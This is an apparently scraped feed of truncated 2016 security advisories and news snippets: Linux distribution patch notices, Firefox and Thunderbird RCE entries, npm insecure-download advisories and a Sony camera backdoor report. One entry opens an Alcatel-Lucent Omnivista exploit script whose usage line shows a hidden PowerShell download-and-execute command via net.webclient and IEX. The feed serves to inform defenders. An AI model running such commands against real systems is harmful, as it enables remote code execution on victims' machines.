How to Protect All Your Internet-Connected Home Devices From Hackers

How many Internet-connected devices do you have in your home? I am surrounded by around 25 such devices. It's not just your PC, smartphone, and tablet that are connected to the Internet. Today our homes are filled with tiny computers embedded in everything from security cameras, TVs and...

Fedora 24 : phpMyAdmin (2016-2424eeca35)

phpMyAdmin 4.6.5.1 2016-11-26 =============================== A patch-level release fixing two small issues : - an issue affecting a small number of users using $cfg'Servers'$i'hidedb' or $cfg'Servers'$i'onlydb'. - an issue affecting the create table dialog where the partition selection tool was...

SUSE SLES11 Security Update : MozillaFirefox, mozilla-nss (SUSE-SU-2016:3080-1)

This update for MozillaFirefox, mozilla-nss fixes security issues and bugs. The following vulnerabilities were fixed in Firefox ESR 45.5.1 bsc1009026 bsc1012964 : - CVE-2016-9079: Use-after-free in SVG Animation MFSA 2016-92 bsc1012964 - CVE-2016-5297: Incorrect argument length checking in...

Fedora 23 : phpMyAdmin (2016-7fc142da66)

phpMyAdmin 4.6.5.1 2016-11-26 =============================== A patch-level release fixing two small issues : - an issue affecting a small number of users using $cfg'Servers'$i'hidedb' or $cfg'Servers'$i'onlydb'. - an issue affecting the create table dialog where the partition selection tool was...

Ubuntu 12.04 LTS : openjdk-6 vulnerabilities (USN-3154-1)

It was discovered that OpenJDK did not restrict the set of algorithms used for Jar integrity verification. An attacker could use this to modify without detection the content of a JAR file, affecting system integrity. CVE-2016-5542 It was discovered that the JMX component of OpenJDK did not...

Sony Closes Backdoors in IP-Enabled Cameras

Sony, in late November, provided a firmware update for a popular IP-enabled camera line used by enterprises and law enforcement alike that closed off remote administration backdoors. The backdoors could be abused to draft these devices into botnets or allow for manipulation of images and...

Fedora 25 : xen (2016-999e1a6927)

xen : various security flaws 1397383 x86 null segments not always treated as unusable XSA-191, CVE-2016-9386 x86 task switch to VM86 mode mis-handled XSA-192, CVE-2016-9382 x86 segment base write emulation lacking canonical address checks XSA-193, CVE-2016-9385 guest 32-bit ELF symbol table load...

Alcatel Lucent Omnivista 8770 Remote Code Execution

import socket import time import sys import os ref https://blog.malerisch.net/ Omnivista Alcatel-Lucent running on Windows Server if lensys.argv " % sys.argv0 print "eg: %s 192.168.1.246 "powershell.exe -nop -w hidden -c $g=new-object net.webclient;IEX...

Debian DLA-733-1 : openafs security update

It was discovered that there was an information leak vulnerability in openafs, a distributed filesystem. Due to incomplete initialization or clearing of reused memory, OpenAFS directory objects are likely to contain 'dead' directory entry information. For Debian 7 'Wheezy', this issue has been...

Fedora 23 : xen (2016-68b71978a1)

xen : various security flaws 1397383 x86 null segments not always treated as unusable XSA-191, CVE-2016-9386 x86 task switch to VM86 mode mis-handled XSA-192, CVE-2016-9382 x86 segment base write emulation lacking canonical address checks XSA-193, CVE-2016-9385 x86 64-bit bit test instruction...

Downloads Resources over HTTP

Overview Affected versions of pm2-kafka insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on...

Downloads Resources over HTTP

Overview Affected versions of massif insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on th...

Downloads Resources over HTTP

Overview Affected versions of windows-seleniumjar-mirror insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in...

Downloads Resources over HTTP

Overview Affected versions of ipip-coffee insecurely download resources over HTTP. In scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decision...

Debian DLA-731-2 : imagemagick regression update

The update for imagemagick issued as DLA-731-1 caused regressions when decoding properties of certain images. Updated packages are now available to address this problem. For reference, the original advisory text follows. Several issues have been discovered in ImageMagick, a popular set of program...

Mozilla Thunderbird < 45.5.1 nsSMILTimeContainer.cpp SVG Animation RCE (macOS)

The version of Mozilla Thunderbird installed on the remote macOS or Mac OS X host is prior to 45.5.1. It is, therefore, affected by a use-after-free error in dom/smil/nsSMILTimeContainer.cpp when handling SVG animations. An unauthenticated, remote attacker can exploit this issue, via a specially...

Mozilla Firefox < 50.0.2 nsSMILTimeContainer.cpp SVG Animation RCE (macOS)

The version of Mozilla Firefox installed on the remote macOS or Mac OS X host is prior to 50.0.2. It is, therefore, affected by a use-after-free error in dom/smil/nsSMILTimeContainer.cpp when handling SVG animations. An unauthenticated, remote attacker can exploit this issue, via a specially...

Downloads Resources over HTTP

Overview Affected versions of tomita-parser insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code executio...

Downloads Resources over HTTP

Overview Affected versions of selenium-portal insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code...

Downloads Resources over HTTP

Overview Affected versions of grunt-images insecurely download an executable over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution...